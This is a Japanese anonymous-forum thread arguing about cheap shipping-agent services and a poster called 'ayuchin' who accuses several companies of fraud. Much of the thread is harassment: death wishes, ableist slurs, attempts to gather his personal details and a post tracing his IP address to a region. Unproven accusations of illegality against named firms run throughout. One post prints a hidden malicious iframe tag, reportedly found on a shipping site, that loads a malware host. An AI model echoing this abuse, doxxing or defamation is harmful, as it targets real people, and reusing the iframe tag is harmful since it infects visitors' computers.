http://www.worldfolksong.com/foster/midi/2/camptown.mid

SCEの契約が万年赤字だったのは運賃が原因ではない。

>>745
氏ね

必要な経費をまかなえない運賃に原因がある。

http://1st.geocities.jp/multi_secret_takuhai/

これは・・・。

あゆみいいけげんにしろ

それって４５０００円とる胡散くさいサイトだろ
よかったじゃん

>>748
これだけはGJと言わざるを得ないｗ

あゆちんの妨害工作により、サービスを継続できなくなりました。

あゆちんとかいうの死んじまえよ。


ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

やっぱり単なる詐欺だったみたいだね。
それまでに4万5千炎払った奴は返してもらえないしサービスも利用できないと言うオチだろう。
ここの住人も利用しなくて良かったね。
同じ発送代行でもある程度まともな組織でないと。
佐川ゆうメールだって発送代行の一種だけど、誰も疑う奴はいない。
禿パックwしかり
信用できるのはDD便とかやってるピー・アー・ルが限界だろう。

買った送り状使えなくなったのかなぁ
あんなこと書いても基地外が喜ぶだけなのに

請求書のメールってPickUpでも配信されてますか？
pickupはwebで確認だけなんですか？
お届けは請求金額記載のメール来るけど、pickupは来てない状態です。

楽天の配送とかで使ったことある人いる？？？

今日、北海道にギターを発送したよ(^-^)
サイズなら180サイズ(170cmオーバー)、容積換算で25kg(^-^)
もちろん、運賃は税込み420円だよ(^-^)

で、トムスで調べたら、3150円になってるね(^-^)
ヤマトならサバ読みで宅急便で発送できたとして2520円、ヤマト便なら容積換算30kgで2920円だね(^-^)
ヤマトより高いトムスって何なんだろうね(^-^)

Yahoo!ゆうパックが完全終了した今となっては、もはやあゆちんの天下ですね(^-^)

ヤマト宅急便(160サイズ25kg/10cmちょっとサバ読み(荷受拒否の可能性低))：2520円
ヤマト便(容積換算重量30kg)：2920円
トムス西武(容積換算30kg)：3150円
ゆうパック(170サイズ/数cmサバ読み(荷受拒否の可能性高))：2400円
あゆちんの契約：420円

2000円を超えるコストダウンに成功しましたね(^-^)

この害虫はまだ死んどらんのかいな

マルチすんなよ害虫野郎

前から言ってたコミケの代行をアップしたよ(^-^)

http://koukan.yahoo.co.jp/jp/classified/ac-686834

>>761
これこの基地外の個人情報分かるん？
なら全力で交換するけど

サイズの判断てのは業者側でするの？

クロネコメール便速達ですら翌日配達にならない大阪→熊本のメール便が翌日配達だったよ(^-^)
さあ、隣の市で3日もかかるクロネコメール便信者の言い訳を聞こうじゃないの(^-^)

>>763

もちろんです！

質問です。
別の場所で集荷→自宅へ配送の場合、
相手先が不在で集荷できなかった場合などは何か連絡があったりしますか？
そのまま立ち消えとかになる？

>>766

相手先に不在票を入れる。連絡なければそのまま放置

>>765
回答ありがと

>>764
世の中、根っからの悪人なんてそう居るもんじゃないが、
お前はマジモンだな。人間のクズ。
リアルではさぞ孤独に生活してんだろうな〜、ああ？

>>767
ﾄﾝ！
５日経っても音沙汰無しなんで問い合わせてみた。
おっしゃるとおり不在票入れて放置プレイ中だった。

「クロネコメール便は800km圏内翌配」などと言った人はどこ行ったのかな？(^-^)
800km圏内翌配どころか、5kmしか離れてない隣の市が3日かかるんですが？(^-^)

>>771
2chなんて所詮便所の落書きであり
荒らす奴が出てくるのは当然だが、
お前は普通の荒しとは違うな。
異様なオーラを感じるわ。
なんか悪いもんにでも憑り付かれてるんじゃねーか？
それとも発達障害か？

>>761
さんざん代行業者を叩いてたくせに、自分も同じ事やってるじゃねえか。
隠れファンだったが失望したよ。
ただのクズ野郎だったわけだね(^-^)
存在意義ゼロになったね(^-^)

ここで1000まで高知に在籍した馬でしりとりをしましょう(^-^)

>>774
お前やっぱ発達障害だろ？
つまんねーし書くことも普通じゃないもんな。
認定されてないなら専門医に見てもらいな。

知恵袋のbig_daix2015って基地外なんですか？(^-^)

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1127368461
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1327886108

容積換算であることはトムスの公式HPにモロに書いてあるのに、クレームを入れる基地外です(^-^)

説明読めない読まないわざわざ確認してくる奴は即BL推薦。
ロクなことない。評価汚れてもいいなら止めないが。

あれだけ悪名高い千葉県のカトーレックですら日配・夜配はあるよね(^-^)

つまり、
千葉県のカトーレック＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞西武うんこ
だよ(^-^)

>>778
そんなことでしつこく騒いでるのはあなただけですよ、発達障害君ｗ

しかし、こいつの異常なまでの執着心を見てると、犯罪やらかすのも時間の問題だと思う。
新聞に顔晒す日も近いだろう。

　　　　　ﾊ,,ﾊ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　／＼（ ﾟωﾟ )／＼
　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　 　 　 ((⊂／＼　　　　／＼つ))
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　 　　 　 　 　）　　 ﾉ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（＿⌒ヽ
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　 　 　 ヽ　ﾍ　}
　　　　　　　　　　　　　　　　　　　　　　　　　ﾊ,,ﾊ　　 ／つ　ε≡Ξ　ﾉノ ｀J
　　　　　　　　　　　　　　　　　　　　　　　　（ ﾟωﾟ )／／
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　　　　　　　　　　　　 ﾊ,,ﾊ　　　　　　　　　 ヽ　ﾍ　}
　　　　　　　　　　　 （ ﾟωﾟ )　　　　　　　　　ﾉノ ｀J
　　　　　　　　　　　 (　　 　 ＼
　　　　　　　　　　　　＼＼　＼＼　　 一二
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　　　＼＼,,ﾊ　　　　　　ヽ　ﾍ　}　　　　　一二
　　　／／ωﾟ )　　　　　ﾉノ　｀J　　　　一二
　　 (／　 　 )
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　　 （／／ヽ
　　　し ,ﾍ　}　　
　　　ﾉノ　｀J　　お前ら全員逮捕しる

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　 |／　 ／.　 ＿.|￣|／|／|／　 　　　 /⌒ヽ)　負げだ…
／|＼／ 　／　／ 　|／ ／　　　　　 　[ 青　_]　　 　∧∧
／|　 　 ／　／　 ／ヽ　　　　　　 　　三____|∪　　 /⌒ヽ)　次は勝づど…
　 |　　　|￣|　 |　|ヽ／l　　　　　　 　 (/~ ∪ 　　　[ 森　_]
　 |　　　|　 |／|　|__|／　　　　　　　三三　　　　 　三___|∪
　 |　　　|／|　 |／　　　　　　 　　三三　　　　 　　(/~∪
　 |　　　|　 |／　　　　　　　　　三三　　　　　　三三
　 |　　　|／　　　　　　　　　　　　　　　 　　　　三三
　 |　 ／　　　　　　　　　　　　　　　　　　　　三三
　 |／　　　　　　　　　　　　　　　　　　　　三三

トムスってなに？おいしいの？

ピックアップはサイズなくして欲しいな
完全従量制じゃないとここ使う旨味がイマイチ出てこない

ピックアップはサイズの計測が厳格すぎないか？
おそらく5センチ未満のオーバーで発送後に料金訂正されてた。

２０センチ区切りサイズの５センチて、どんだけおおざっぱなんでしょう。

あゆちんの情報のおかげで、福山通運とびっくりする位安い値段で契約できました。
お礼申しあげます。
あゆちんほどではないですが、当社発送荷物は２才〜３才までがほとんどなので
３才まで全国一律４２０円、北海道６３０円、沖縄８４０円です。(しかもたまに４才〜６才位が混じってもこの値段でいけるそうです。)
北海道と沖縄は、あゆちんに比べるとだいぶん高いですが、送る予定が一切ないのでこの契約でサインしました。
毎月、佐川急便に５０万円位支払っておりましたが、これで毎月福山通運に４０万円位の支払いで済むので１０万の浮きです！
本当にありがとうございました。

かわいそうな（頭の？）一人遊び、自作自演（T_T)ﾐﾃｲﾃﾅｹﾃｸﾙﾅｰ

なんか知恵遅れでトムスに1800円多めに勝手に引き落とされて、3ヶ月も返金を引き延ばされている人がいますね(^-^)
こういうのも「自己責任」と言うんですよね(^-^)

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1428107414
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1128108496

トムスは1800円の返金すら渋らなければならないほど経営難なんですかね(^-^)
だとすれば倒産ももうすぐですね(^-^)
倒産前にリンクラごっこもあり得るかも知れませんね(^-^)

>>789
あなたのフクツーとの契約が切れるのも時間の問題ですよね(^-^)
本社あなたの言動伝えてるので、身元が割れればお終いですよ(^-^)

>>790
本社は契約にはノータッチだから関係ないよね(^-^)
宅配契約の契約形態を理解してからどうぞ(^-^)

>>791
あなたと契約してるのは地元の営業所だけど、その大元は本社だよね(^-^)
フクツー全体のイメージを損なわせてるの分かってるかな(^-^)
まあ今は嘘だと思ってればいいけどね(^-^)

念のため言うけど、本社には一部の大口契約(本社契約)を除いて、個々の契約書は存在しないよ(^-^)
以前にも書いたけどね(^-^)

>>792
その営業所がどのなのかも分からないので、調べようにないですね(^-^)

あと、契約は1年契約ということをお忘れなく(^-^)

そういえば、以前、公正取引委員会にトムスのダンピング契約(違法契約)を通報したら、
「調査の上、報告します」という回答をもらったよ(^-^)
契約が違法なのは明らかなので、トムスと西武の契約が切れる確率の方が遙かに高いですね(^-^)

>>791
ちなみにお住まいの地域と契約料金、知恵袋やなんでも交換の記事、これまでのログなどを伝えてあるよ(^-^)
個人情報もわかり次第連絡するよ(^-^)
信じなくていいけどね(^-^)

あと、誰でもできる代引発送も、代引廃止法案を推進している金融庁に通報しておいたから(^-^)
大手運送会社が代引ガイドラインを制定したり、代引約款を変更して代引契約の基準を厳しくしている中で、
誰でも代引発送できるなんて、悪質極まりないですからね(^-^)
代引詐欺の温床になるとして、金融庁に通報しておきました(^-^)

なんでも交換の記事も何も、なんでも交換はアホが通報したせいで、アホーに消されたよ(^-^)

あゆちんは少し前、Wikipediaで使っている中島のIDを発見したとして、中島スレで大感謝されたよ(^-^)

そもそも、あの「寄付金詐欺」の項目の「悪質NPO法人ターゲスト」の記事はあゆちんが書いたものなんだけどね(^-^)

(^-^)

http://pc12.2ch.net/test/read.cgi/yahoo/1244540688/846-

>>801
Targestの記事を更新した貴様のIPはこれだな。
http://ja.wikipedia.org/wiki/%E7%89%B9%E5%88%A5:%E6%8A%95%E7%A8%BF%E8%A8%98%E9%8C%B2/218.216.180.164

218.216.180.164＝c0237.freenavi.net＝ネットワーク・サポート・サービス株式会社＝中部テレコミュニケーション株式会社(親会社)

貴様、大阪在住と言っておきながら、実際は東海地区在住だろ？

>>803

そんな事は関係ない

競走馬とか編集しちゃってるこいつだろｊｋ
http://ja.wikipedia.org/w/index.php?title=%E7%89%B9%E5%88%A5:%E6%8A%95%E7%A8%BF%E8%A8%98%E9%8C%B2&limit=500&target=%E6%A1%9C%E6%B5%B4%E8%A1%A3%E7%8E%8B

キチガイおっさんの話はしたでやれ

オク板の荒らし【あゆちん】のアク禁を目指すスレ
http://pc12.2ch.net/test/read.cgi/yahoo/1238672658/

あゆちんって、以前大沢ルールとの議論で自ら愛知県在住だと言っていたけど？
フェイクだと思っていたが、そっちの方が正しいの？

北海道出身か北海道と縁が深いことは確か

不祥事が多い運送会社を使う人って、知ってて使ってるんでしょうね(^-^)
西武うんこも親会社が粉飾→上場廃止で世間のイメージは最悪だけど、これも知ってて使うんでしょうね(^-^)
http://society6.2ch.net/test/read.cgi/traf/1246543411/l50

福山(西濃も)は不祥事少ない方だよね(^-^)
2000年以降で報道があったのって、傭車ピンハネぐらいだしね(^-^)
佐川は言うに及ばず、赤いトラックの某F社なんか2000年以降で、粉飾・殺人・劇薬紛失と報道されただけでこれだけあるからね(^-^)

不祥事ランクA：新聞やテレビで連日報道され、会社が集団訴訟を起こされたり、上場廃止になったり、国会で取り上げられたりするレベルの不祥事。
不祥事ランクB：一定期間新聞やテレビで報道されるが、それ以後は何のお咎めもないレベルの不祥事。
不祥事ランクC：新聞の三面記事やネット上で各新聞社が1回だけ報道するレベルの不祥事。

A：
東京佐川急便事件、西武鉄道の有価証券虚偽記載問題、フットワークの粉飾事件

B：
フットワーク営業所内の殺人事件、ヤマト運輸のメール便放置問題、奈良佐川急便事件

C：
西武運輸の派遣社員荷台輸送事件、福山通運の傭車費ピンハネ事件、フットワークの劇薬紛失事件、名鉄ゴールデン航空のPS3紛失事件、ヤマト運輸営業所内のバイトリーダー殺人事件
などなど、Cレベルはかなり多いので、これ以上は割愛するよ(^-^)
ちなみに、>>809のパワハラは現時点ではCレベルだけど、今後次第ではBレベルまで行くかも知れないね(^-^)

>>803
ピンポンピンポ〜ン(^-^)
ただ、過去のものはあゆちん関係ないから(^-^)

>>805
ぶっぶ〜、はずれ〜(^-^)

単に腹痛の人間が少ないから目立たないだけジャン（笑）
ていうかあゆちんといっしょで社会に相手にされてない？（爆）
真っ赤な顔して必死に連投する様が目に浮かぶなー(T_T)ｶﾜｲｿｽ

そんな君に送る歌はこれかな？
真っ赤な顔した「あ＊ち＊」ちゃんはいつも皆の「わ〜ら〜い〜も〜の〜」

>>812
全然違うよ(^-^)
なぜ福山の1/4程度しか社員数のいないフットワークが不祥事多いのか少しは考えてみてね(^-^)

上場企業でも不祥事ランクAの不祥事をおこす会社はほんの一部ですよね(^-^)

久しぶりに伸びてると思ったら…

そういえば福山の親会社も線路資材隠して会社包みで脱税してたなｗ
あのときの株暴落で多少儲けさせてはもらったが

なんか知恵遅れでトムスに1800円多めに勝手に引き落とされて、3ヶ月も返金を引き延ばされている人がいますね(^-^)
こういうのも「自己責任」と言うんですよね(^-^)

http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1428107414
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1128108496

リンク先を見る限り、実際は容積換算重量適用にも関わらず、さも重量制であるかのごとくトムスがHPに記載しているせいで、トラブルが大量に発生しているようですね(^-^)

さも重量制であるかのごとく記載してトラブルを発生させるトムスは送料の虎から追放しなければなりませんね(^-^)
送料の虎に通報しましょう(^-^)

・トムスと西武の契約は宅配便ではないのに、さも宅配便のごとく記載(実際の契約は個建ての一般路線)
・トムスと西武の契約は重量制ではないのに、さも重量制のごとく記載(実際の契約は容積換算重量適用)

トムスは詐欺会社ですね(^-^)

あゆちん様！あなたは運輸界の革命児です。
この調子でトムスだけでなく、非契約で発送できる方法を全て潰してください。
どこの馬の骨かわからない人間が宅配便を利用できるという現状がおかしいのです。
きちんとした業者や、厳格な審査を通過した一握りの個人が契約して利用するのが本来の形だと思うのです。
仮に非契約で利用できるにしても、素性の分からない個人相手ではリスクが伴うわけですから、
料金を大幅に上げ（最低でも今の5〜6倍）、敷居を高くするべきです。

運輸業界を改革するため、私も微力ながらお手伝いさせていただきます。
関係機関への通報など、ご教授ください。
ヤマトやエクスパックなど、安易に発送できる手段の撲滅を目指します！

あゆちんとネトウヨって似てるよね

自民を持ち上げ、他党の批判や差別的な発言して、自民の評判下げて逆に議席を減らす
イコール
福山を持ち上げ、よその運送会社批判して、福山の評判下げて逆に売上減らす

自民および福山はネトウヨおよびあゆちんを切らないと未来はない

>>788
あゆちんもついに知恵袋でアピール開始ですか？ｗ
http://my.chiebukuro.yahoo.co.jp/my/myspace_ansdetail.php?writer=ayutin_1st

>>822
なんか、アメリカ大統領選挙時のネガティブキャンペーンみたいだな。

あと、あゆちん様へ
他人の不幸をそんなに喜んでいてはせっかくの素晴らしい御意見が台無しですよｗ

この板でも既出だけど福山って荷物の扱い酷いよ
この前、何か落としたのかダンボールに穴が開いた状態で
届いて配達の人が申し訳なさそうにしてて
その場で中身確認したら商品には異常が無かったので
何も言わなかったけど、安くても余り利用したいとは思わない

やっと３回利用した。
\6000いつ無くなるんだろｗ

このスレでも有名な「トムスは違法」さん（あゆちん？）の質問。
回答に爆笑ｗ
↓
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1328142928

ここの経営者は渋谷にある会社と同じらしいな。

トムスが送料の虎の管理人に、完全に容積換算重量適用であることを認めたそうです(^-^)
送料の虎はトムスに対し、虚偽申告のペナルティとして、トムスを送料の虎から永久追放処分(不掲載処分)を決定し、本日、送料の虎から削除されましたとさ(^-^)

おとどけプロジェクトが消えた発送方法一覧
http://www.shipping.jp/search.html

>>825
ｼｯﾀｶﾀｰｼｯﾀｶﾀｰｼｯﾀｶﾀｯﾀｯﾀｰ

コンベア無しの台車仕分けの運送会社は、破損率はゲテ率およびゲテの種類で決定するよ(^-^)
つまり、破損率は高い順で西武＞＞＞＞＞＞＞＞＞＞＞福山だよ(^-^)

福山には建築資材系のゲテはないからね(^-^)
こんなのが崩れたら小さな荷物は一巻の終わりですよね(^-^)

送料の虎から永久追放されたトムスはどうするのかな？(^-^)
送料の虎の管理人には認めたくせに、一般の利用者に対してはダンマリし続け、あいまいな表現でだまし続けるのかな？(^-^)

トムス夜逃げしたか？誰か情報求む

あと、「運賃差額は西武に返してもらったら？」なんて知恵袋の書き込みはシッタカもいいところですよね(^-^)
直接の契約者は西武でなくトムスであり、西武は真の荷主(契約主でなく、実際の発送主)からは何の運賃も取ってないんだから、西武が返金するわけないよね(^-^)
例えば、パソコンが初期不良で返品する場合、返金はメーカーでなく、直接お金を支払った販売店だよね(^-^)
だから、運賃に関する問い合わせはすべてトムスだよ(^-^)

これも発送代行の欠点だよね(^-^)
あゆちんみたいに直契約なら、請求のことも運送会社に直接言えるんだけどね(^-^)

■販売店で買ったパソコンの場合
返金に関すること＝直接お金を支払った販売店へ連絡
商品のサポート＝メーカーへ連絡

■パソコンメーカーが運営する通販で買った場合
お金を支払っているメーカーも、輸送商品を取り扱っているメーカーも同一のメーカーなので、問い合わせ内容の如何に関わらずメーカーに連絡。

■発送代行の場合
返金に関すること＝直接お金を支払ったトムスへ連絡
輸送商品(※)に関する問い合わせ＝西武運輸へ連絡

■直契約の場合
お金を支払っている運送会社も、輸送商品を取り扱っている運送会社も同一の会社なので、問い合わせ内容の如何に関わらず運送会社に連絡。

※輸送商品−宅配便とかメール便とかは運送会社にとってはそれそのものが商品なので、この業界では「輸送商品」と呼ぶ。荷物の中身の事ではない。

これを理解できない人はチョンか何かですよね(^-^)

正常な方はこちらで

トムスコーポレーション
http://jbbs.livedoor.jp/bbs/read.cgi/internet/2653/1233066872/

１５時までの目処のメンテらしいよ

何で通報されるかというと、脇が甘いからだよ(^-^)
違法な事をやれば、通報されるのは当たり前ですよね(^-^)
だからあゆちんはエコ宅やPRエクスプレスは通報してないしね(^-^)

トムスコーポレーション：特定商取引法違反(連絡先の虚偽記載)、嘘・大げさ・紛らわしいのJARO通報レベルの虚偽記載、独占禁止法違反(ダンピング)の疑い
送ります.com：詐欺(障害者割引を悪用した違法値引き)の疑い、特定商取引法違反(連絡先の不記載)
激安発送代行のマックス宅配便：特定商取引法違反(連絡先の不記載)

■違反・違法行為に対する通報先一覧
独占禁止法違反：公正取引委員会
特定商取引法違反：経済産業省
代引きが審査なしに誰でも出せる場合：金融庁(代引き廃止法案を推進している省庁)
障害者割引を悪用した違法値引き：自民党などの与党・野党の各党および郵便監査
嘘・大げさ・紛らわしいのJARO通報レベルの虚偽記載：消費者センター、国民生活センター

もちろん、違法な行為が発見されたら、送料の虎への通報も忘れずに(^-^)
送料の虎も怪しい事をやっている業者は記載できないから、あっさりと永久追放処分が下されるよ(^-^)

おまいの存在自体が違法だと思う

どう見ても私怨の書き込みだよね。
同情できるならともかく、あまりにも人間性が痛すぎる。　Y
ahooでも、どこでもトムスと書き込みあればすぐに涌いてでてきて、
痛い書き込みをつける。

まともな仕事している人間には見えないのだが。　総会屋もどきか、
たかりのクレーマなどにしか見えないよ。

>>841
違法行為は糾弾されて当たり前ですよね(^-^)
本来であれば、逮捕ですよ(^-^)

オク板全体に言えることだけど、通報対象をどこに定めるかは自由なので、あゆちんは違法発送代行を対象としているだけだよ(^-^)
オク板には違法コピーのみを対象に通報する人とか、チケットのみを対象に通報する人とか、送料ピンハネのみを対象に通報する人とか、特定の出品者の出品物のみを対象に通報する人とか、いろいろいるでしょ(^-^)
オク板以外でも、ソーテックPCの偽故障情報のみを対象に通報する人とかいるでしょ(^-^)
それと同じだよ(^-^)

＞総会屋もどきか、たかりのクレーマ

これは金品が目的なので関係ないよね(^-^)

>>842
仕事なにやっているの？　

あなたの書き込みは、うざすぎるほど見るけどトムスだけで１００、
２００くらいでは、すまないでしょう。
ボランティアや正義感で書いているなんて誰も思えない。

オークション板の通報に関する書き込みより抜粋



正義感とかは、ほとんど皆無じゃないのかw
多分９割以上が面白半分だろ。
とにかく人を痛め付けたい人達が、たまたま「痛め付けてもいい」対象を見つけて、陰湿に徹底的に痛め付ける。
悪意のある無し関係無しに「正義感」と名付けた悪意で。
例えるなら本当に正義感ある人なら、いきなり刀で斬りかかんないでしょw

単に嫌がらせしたいだけだから片っ端から通報してみたりする。
メリットは相手が苦しみもがいたり、リアルに削除され、撲滅されて逝く様子見て楽しむだけ。

>>844
オク板の通報はそんなのばかりだから、そういうことでいいよ(^-^)
中島粘着コピペや三木粘着コピペとかも同様だよ(^-^)

>>840
うまいっ思わず噴いた（笑）。座布団三枚っっ

>>844
普通の社会人ならば、そういう事たまにやるとしても忙しいし他にも
やらないといけない事も多いから、いつまでも続けないだろう。

だいたい飽きるよ。　いつまでも粘着しているところ見ると
よほどプライベートが惨めで悲惨なのかと思う。

三木粘着コピペ(辞書引き)は7年粘着、中島粘着コピペは4年ほどかな？(^-^)
あゆちんは少なくともトムスに関しては、まだ半年ちょっとだよ(^-^)

オク板じゃないけど、「ソーテック被害者の会」の管理人はソーテックに7年粘着したよ(^-^)

>>847
あゆちんはリア充だと思うよ。
少なくともあなたよりはねｗ

そうか。　

こんなつまらないことに人生の限られた時間いくらでも費やすのが充実している
とは俺には想像できないけどね。価値観それぞれだからな。

「ソーテック被害者の会」の管理人なんか、ソーテックに7年粘着し、
とっくに自分の持ってるソーテックPCは保証期間過ぎてるのに、
何度もソーテックの社員を家に呼び寄せて謝罪させてたよ(^-^)

あゆちんはこいつの悪行は2000年頃から知っていた(管理人がソーテックのPC買ったのは1999年夏頃)けど、
たまたま2004年頃、あゆちんが2chのPC一般板に行ったらこいつが異常に有名になっていたので、
それまでソーテック被害者の会を叩いていた人たちが知らなかった管理人の本名やら過去の悪行をあゆちんが暴露、
追い詰められたソーテック被害者の会は閉鎖されましたとさ(^-^)

ソーテック被害者の会の管理人の山仲について(ここの1はあゆちん)
http://www.geocities.jp/sotec2ch/yama01.htm

嘘までついてソーテックを陥れようとしている者たち
(ここの管理人はあゆちんではないが、ソーテックの偽故障情報を流している奴らを告発しているHP)
http://www.geocities.jp/sotec2ch/

>>850
充実してるからできるんだよ。
負け組みだったら日々の生活に精一杯でここまでできないよｗ
よってあゆちんは勝ち組。

じ〜さく自演でｼﾀｶﾀﾀｯﾀｰな毎日送ってるわけですね。わかります（笑）

>>840
ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

あゆちんよ、ＰＲも送料の虎から消されたが
理由知らないだろう。

>>855
知らないから何でか教えて(^-^)
どうせ、トムスのように何らかの虚偽記載などがあって、永久追放処分を食らったんだろうけど(^-^)
発送代行ってこんなところばかりですね(^-^)
ウソ・大げさ・紛らわしいのJARO通報レベルの誇大広告に加え、違法の温床ですね(^-^)

トムスが永久追放くらったというソースどこにあるの？

サポート掲示板やお知らせ、新着情報など探しても見つからないのだが。
http://www.shipping.jp/search.cgi?w35=1&x=30&y=15&z=15&we=500

>>855
あゆちんの追及によって消滅したんだ、分かってて書いてるだろw

あゆちんの事を叩いている奴はトムスなどの不正行為に加担している奴、もしくは愚民。
あゆちんは叩かれる事など何一つしていない。
不正行為、はっきり言えば犯罪を追及しているだけだ。
一般社会の感覚にすれば感謝される事をしてるんだよ？

彼ほど口だけでなく行動で結果を出している人間がいるだろうか？
あゆちんの活動によりこれまで数々の不正が暴かれ、浄化されてきた(2chで書かれている事だけじゃない)
また極めて緻密で、核心を付いた手法を用いていることも評価されるべきだ。

あゆちんこそ、この腐りきった日本を正すことができる逸材であり、宝だ。
あゆちんの邪魔をする奴は許さない。
俺が盾になる。

>>856
直接問い合わせてみてくれ。
俺の口からは言えない。
煽っておいて悪いんだが...

むごい自演を見てしまった。858

<<856
そんな大げさな、、、、、
個人的にあゆちんすきですよ(^-^)
ご意見参考にさせてもらってます。

僕もコテハンの中で一番好き。
あゆちんサイコー(^-^)

私も、あゆちんサイコー！ 久々に来ましたが、あゆちん居ると安心する。

.....

きょうもすげえな

宅配業者の話で飽きもせず、ここまで必死になれるのはすごいわ。

>>857
あゆちんが送料の虎にトムスの容積換算重量に関して通報したところ、
送料の虎からトムスに問い合わせますからしばらくお待ちくださいと返事があり、
さらに後日、トムスが容積換算重量適用であることを認めたため、
紛らわしい記載をしているトムスは送料の虎から削除するとメールがあったためだよ(^-^)

つまり、あゆちんの通報で永久追放処分になったんだよ(^-^)
実質的なソースはあゆちんだよ(^-^)

>>858
あゆちんは知らないよ(^-^)
PRに関しては何も追求したことも通報したこともないし(^-^)

おっさんが自分の事をあゆちんって言ってる時点でキチガイだろ・・・

ナニ　あゆちんっておっさんなのか？

>>868
あゆちんはおっさんではありません。
神様です。

送料の虎から永久追放されたトムスはもう終わりですね(^-^)
送料の虎から永久追放＝怪しい業者と認定されたんだから(^-^)

トムスってあやしいんですか？

>>871
信用は低下しましたが、まだ使い続ける人ｊはいるでしょうね。
完全に息の根を止める方法はないでしょうか？

というか、なんでそんなにみんなから嫌われてんの？
なんか実例があったの？
単なる同業のねたみ？

トムスが容積換算適用と認めたおとどけプロジェクトは高知や南関の下級条件馬に軽くねじ伏せられる福山競馬や岩手競馬並にお先真っ暗ですね(^-^)

>>875
お先真っ暗とかではなく、完全にサービスを終わらせる方法を教えてください。
送料の虎から追放されただけでは大した効果はありませんよ。

柏のトムスデータセンターに電話したら「この番号は現在使われていません」
本社の番号は留守電だし。誰か最近連絡繋がったやついるか？

>>875
はやく潰す方法教えてくれよ。
送料の虎から消えただけじゃ意味ねえんだよ。
方法さえ教えてくれれば俺がやるから。
あんたトムスを潰すことが目的じゃないの？
それともくだらない妨害して楽しんでる愉快犯なわけ？

グルーヴプロモーションからこのスレに辿り着きました。
ttp://www.nanopro.jp/company/outline.html
社長携帯が繋がんねぇし渋谷の事務所も移転済みだし、
誰か連絡先しりませんか。

今、Yahoo!知恵袋に「ピックアッププロジェクトを1件だけ使ったら、120サイズ840円のはずが、料金表に記載のない1712円でポイントを取られた」なる相談があるけど、トムス信者は思うのかな？(^-^)
ピックアッププロジェクトはただのサイズ制だから容積換算関係ないし、もう言い訳できませんよね(^-^)

というわけで、トムスは「利用者の金を勝手に過大請求し、金も返さず逃げる怪しい会社」ということでいいよね(^-^)
送料の虎が永久追放したのは大正解でしたね(^-^)

あゆちん＝アスペルガー症候群

http://ja.wikipedia.org/wiki/アスペルガー症候群

ttp://www.eco-taku.jp/index.html

ウィルスサイト、ECO宅(^-^)

トップページのHTMLソースにある
<iframe src="ttp://a5j.ru:8080/ts/in.cgi?pepsi101" width=125 height=125 style="visibility: hidden"></iframe>
のタグはttp://a5j.ru:8080/index.phpにリダイレクトされていて、タイミングが悪いと、ウィルス反応が出て、変なファイルをダウンロードさせられます(^-^)

こういうウィルスタグを放置し、ウィルスをばらまくサイトって、発送代行云々関係なく、最悪ですよね(^-^)
絶対アクセスしないように(^-^)

■発送代行とは？
あいまいな表現で利用者を騙します(トムスコーポレーションのおとどけプロジェクト)
運賃を過剰徴収をして、知らんぷりを決め込みます(トムスコーポレーション)
業者の住所や電話番号は当然、虚偽もしくは不掲載です(トムスコーポレーションなど、複数の業者で確認)
HPにウィルスタグを仕込み、ウィルスを拡散します(ECO宅)
第三種郵便でないものを第三種郵便で発送し、その上、障害者団体の名義を借りて、障害者割引を悪用します(障害者割引悪用事件)

これが発送代行の実態です(^-^)
まるで北朝鮮のようですね(^-^)
これからは発送代行業者の事を、「物流業界の北朝鮮」と呼びましょう(^-^)

ああ、これもあったね(^-^)

利用停止を他人の責任にして、利用者に先払いさせた金を返金せずに金を持ち逃げます(マックス宅配便)
やたらポイントのセールスに力を入れます(トムスコーポレーション)

ＰＲエクスプレス、ドリームディスタンスのスレとか掲示板どこかに
ないですか？　

使い勝手など(発送は佐川らしいけど、集荷や入金、引き落とし、
集荷内容の変更など)、知りたいのだけど

ECO宅、ウィルスコードをこっそり消したね(^-^)
確実にここを見てますね(^-^)
しかし、こっそりウィルスコードを消して何の発表も対応もないんじゃ、GENOの対応と大差ありませんよね(^-^)

というわけで、ECO宅の利用者はウィルス感染している恐れがありますね(^-^)
発送代行利用してウィルス感染とか、本当に発送代行は恐ろしいですね(^-^)

■発送代行とは？
あいまいな表現で利用者を騙します(トムスコーポレーションのおとどけプロジェクト)
運賃を過剰徴収をして、知らんぷりを決め込みます(トムスコーポレーション)
円天ごっこが好きなのか、やたらポイントのセールスに力を入れます(トムスコーポレーション)
業者の住所や電話番号は当然、虚偽もしくは不掲載です(トムスコーポレーションなど、複数の業者で確認)
HPにウィルスタグを仕込み、ウィルスを拡散します。しかも何の発表もなくこっそりウィルスタグを消し、ウィルスを拡散していた事実をなかったことにします。GENO並の対応です(ECO宅)
利用停止を他人の責任にして、利用者に先払いさせた金を返金せずに金を持ち逃げます(マックス宅配便)
第三種郵便でないものを第三種郵便で発送し、その上、障害者団体の名義を借りて、障害者割引を悪用します(障害者割引悪用事件)

これが発送代行の実態です(^-^)
まるで北朝鮮のようですね(^-^)
これからは発送代行業者の事を、「物流業界の北朝鮮」と呼びましょう(^-^)

そういえば、数年前に発生した長岡郵便局不正値引事件も発送代行業者による仕業でしたね(^-^)

差出表に実際の半分ぐらいの個数しか記載せず、不正に運賃を免れます(長岡郵便局不正値引事件)

ECO宅はこんな過疎スレでこっそり報告したあゆちんに感謝しなさい(^-^)
ニュー速系の板にスレを立ててたら、速攻で祭り状態になり、数日後にはサービス停止に追い込まれていたかもしれないよ(^-^)

なら、ニュー速系の板のスレ立てれば良いのでは？

>>887-891
何度も連投するところが異常者の特徴。

アスペルガー症候群だからしょうがない

■発送代行とは？
